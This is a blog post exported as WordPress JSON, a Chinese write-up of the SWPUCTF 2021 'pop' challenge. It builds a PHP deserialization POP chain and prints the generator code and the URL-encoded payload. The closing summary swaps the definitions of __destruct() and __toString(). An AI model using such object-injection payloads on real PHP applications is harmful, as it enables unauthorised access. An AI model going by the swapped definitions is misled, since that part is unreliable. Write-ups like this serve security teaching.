{"id":1167,"date":"2025-01-18T23:25:07","date_gmt":"2025-01-18T15:25:07","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=1167"},"modified":"2025-01-18T23:25:08","modified_gmt":"2025-01-18T15:25:08","slug":"swpuctf-2021-%e6%96%b0%e7%94%9f%e8%b5%9bpop","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/01\/18\/swpuctf-2021-%e6%96%b0%e7%94%9f%e8%b5%9bpop\/","title":{"rendered":"SWPUCTF 2021 \u65b0\u751f\u8d5bpop"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130101943.png\" alt=\"Pasted image 20241130101943.png\"><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130102531.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130102531.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241130102531.png\"><\/div><br \/>\n\u9996\u5148\u89c2\u5bdf\u4e00\u4e0b\u6574\u6bb5\u4ee3\u7801\uff0c\u518d\u7ed3\u5408\u4e0a\u9762\u603b\u7ed3\u7684\u9b54\u672f\u65b9\u6cd5\u5206\u6790\u4e00\u4e0b\uff0c<code>w44m<\/code>\u7c7b\u91cc\u9762\u7684<code>Getflag<\/code>\u51fd\u6570\u53ef\u4ee5\u7528\u6765\u8bfb\u53d6flag\uff0c\u56e0\u6b64\u5c31\u5c06\u5b83\u4f5c\u4e3a\u8fd9\u6761\u94fe\u5b50\u7684\u5c3e\u90e8\u3002<\/p>\n<p>\u518d\u60f3\u4e00\u4e0b\u5982\u4f55\u53bb\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u770b\u4e0b\u9762\u8fd9\u6bb5\u4ee3\u7801\u3002<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130102927.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130102927.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241130102927.png\"><\/div><br \/>\n\u8fd9\u6bb5\u4ee3\u7801\u4e2d\uff0c<code>$this-&gt;w00m-&gt;{$this-&gt;w22m}();<\/code>\u4f1a\u8c03\u7528\u51fd\u6570\uff0c\u6240\u4ee5\u53ea\u9700\u8981\u7ed9<code>$w00m<\/code>\u8d4b\u4e00\u4e2a<code>w44m<\/code>\u7c7b\uff0c\u7136\u540e\u518d\u7ed9<code>w22m<\/code>\u8d4b\u4e00\u4e2a<code>Getflag<\/code>\u5c31\u80fd\u6210\u529f\u8c03\u7528\u8be5\u51fd\u6570\u3002<\/p>\n<p>\u518d\u518d\u8003\u8651\u4e00\u4e0b\u5982\u4f55\u8c03\u7528\u8fd9\u4e2a<code>w33m<\/code>\u7c7b\u5462\uff1f\uff1f\u4e0a\u9762\u5199\u8fc7<code>__toString()<\/code>\u8fd9\u4e2a\u65b9\u6cd5\u4f1a\u5728\u4e00\u4e2a\u5bf9\u8c61\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u65f6\u88ab\u8c03\u7528\uff0c\u4e8e\u662f\u6211\u4eec\u5c31\u80fd\u770b\u5230\u4e0b\u9762<code>w22m<\/code>\u8fd9\u4e2a\u7c7b\u91cc\u9762\u7684<code>echo<\/code>\u51fd\u6570\u3002\u6211\u4eec\u53ea\u8981\u7ed9<code>w00m<\/code>\u8d4b\u4e00\u4e2a<code>w33m<\/code>\u7c7b\uff0c\u5c31\u80fd\u8c03\u7528\u3002<br \/>\n<img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130104606.png\" alt=\"Pasted image 20241130104606.png\"><\/p>\n<pre><code class=\"language-php\">\n&lt;?php \nclass w44m{\n    private $admin = 'w44m';\n    protected $passwd = '08067';\n}\n \nclass w22m{\n    public $w00m;    \n}\n \nclass w33m{\n    public $w00m;\n    public $w22m;\n}\n \n$p = new w22m();\n$p-&gt;w00m = new w33m();\n$p-&gt;w00m-&gt;w00m=new w44m();\n$p-&gt;w00m-&gt;w22m='Getflag';\necho urlencode(serialize($p));\n?&gt;\n<\/code><\/pre>\n<p>\u4ee3\u7801\u5206\u6790\uff1a<\/p>\n<ul>\n<li>\u521b\u5efa\u4e863\u4e2a\u7c7b<\/li>\n<li>$p = new w22m(); \u521b\u5efa\u4e86w22m\u7c7b\u7684\u5bf9\u8c61 $p\uff1b<\/li>\n<\/ul>\n<ul>\n<li>\u7136\u540e\u901a\u8fc7<code>$p-&gt;w00m = new w33m();<\/code>\u7ed9<code>$p<\/code>\u5bf9\u8c61\u7684<code>$w00m<\/code>\u5c5e\u6027\u8d4b\u503c\u4e3a\u4e00\u4e2a<code>w33m<\/code>\u7c7b\u7684\u65b0\u5bf9\u8c61\u3002<\/li>\n<li>\u63a5\u7740<code>$p-&gt;w00m-&gt;w00m=new w44m();<\/code>\u53c8\u7ed9<code>$p-&gt;w00m<\/code>\u8fd9\u4e2a<code>w33m<\/code>\u5bf9\u8c61\u7684<code>$w00m<\/code>\u5c5e\u6027\u8d4b\u503c\u4e3a\u4e00\u4e2a<code>w44m<\/code>\u7c7b\u7684\u65b0\u5bf9\u8c61\u3002<\/li>\n<li>\u6700\u540e<code>$p-&gt;w00m-&gt;w22m='Getflag';<\/code>\u7ed9<code>$p-&gt;w00m<\/code>\u8fd9\u4e2a<code>w33m<\/code>\u5bf9\u8c61\u7684<code>$w22m<\/code>\u5c5e\u6027\u8d4b\u503c\u4e3a<code>'Getflag'<\/code>\u3002<\/li>\n<\/ul>\n<p>?w00m=<br \/>\nO%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130110403.png\" alt=\"Pasted image 20241130110403.png\"><\/p>\n<h3>\u603b\u7ed3<\/h3>\n<h3>\u9006\u5411\u601d\u7ef4\uff1a<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130105650.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/01\/Pasted-image-20241130105650.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20241130105650.png\"><\/div><br \/>\n\u9996\u5148\u8981\u83b7\u53d6flag\uff0c\u5c31\u8981\u8c03\u7528w44m\u7c7b\uff0c\u8981\u8c03\u7528w44m\u7c7b\u5c31\u8981\u8c03\u7528w33m\u7c7b\u91cc\u7684__toString()\u9b54\u6cd5\u51fd\u6570\uff0c\u8981\u8c03\u7528\u8fd9\u4e2a\u9b54\u6cd5\u51fd\u6570\u5c31\u8981\u8c03\u7528w22m\u7684__destruct()\u9b54\u6cd5\u51fd\u6570\uff0c\u8981\u8c03\u7528\u8fd9\u4e2a\u51fd\u6570\uff0c\u5c31\u8981\u521b\u5efaw22m\u7c7b\uff0c\u628a\u5e8f\u5217\u5316\u540e\u7684\u5b57\u7b26\u4e32\u8d4b\u503c\u7ed9w00m\uff0c\u5e76\u4ee5get\u5f62\u5f0f\u4f20\u9012\u3002<br \/>\nflag&#8211;&gt;w44m&#8211;&gt;w33m&#8211;&gt;w22m&#8211;&gt;get(w00m)<\/p>\n<h3>__destruct()\u548c__toString()\u9b54\u6cd5\u51fd\u6570<\/h3>\n<p>__destruct()\u4e00\u4e2a\u5bf9\u8c61\u88ab\u5f53\u4f5c\u5b57\u7b26\u4e32\u65f6\u88ab\u8c03\u7528<br \/>\n__toString()\u7c7b\u5220\u9664\u65f6\u8c03\u7528<\/p>\n<h3>pop\u94fe\u5e8f\u5217\u5316<\/h3>\n","protected":false},"excerpt":{"rendered":"<p>\u9996\u5148\u89c2\u5bdf\u4e00\u4e0b\u6574\u6bb5\u4ee3\u7801\uff0c\u518d\u7ed3\u5408\u4e0a\u9762\u603b\u7ed3\u7684\u9b54\u672f\u65b9\u6cd5\u5206\u6790\u4e00\u4e0b\uff0cw44m\u7c7b\u91cc\u9762\u7684Getflag\u51fd\u6570\u53ef\u4ee5\u7528\u6765\u8bfb\u53d6flag [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[30,37],"class_list":["post-1167","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-30","tag-37"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1167","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=1167"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1167\/revisions"}],"predecessor-version":[{"id":1168,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/1167\/revisions\/1168"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=1167"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=1167"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=1167"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}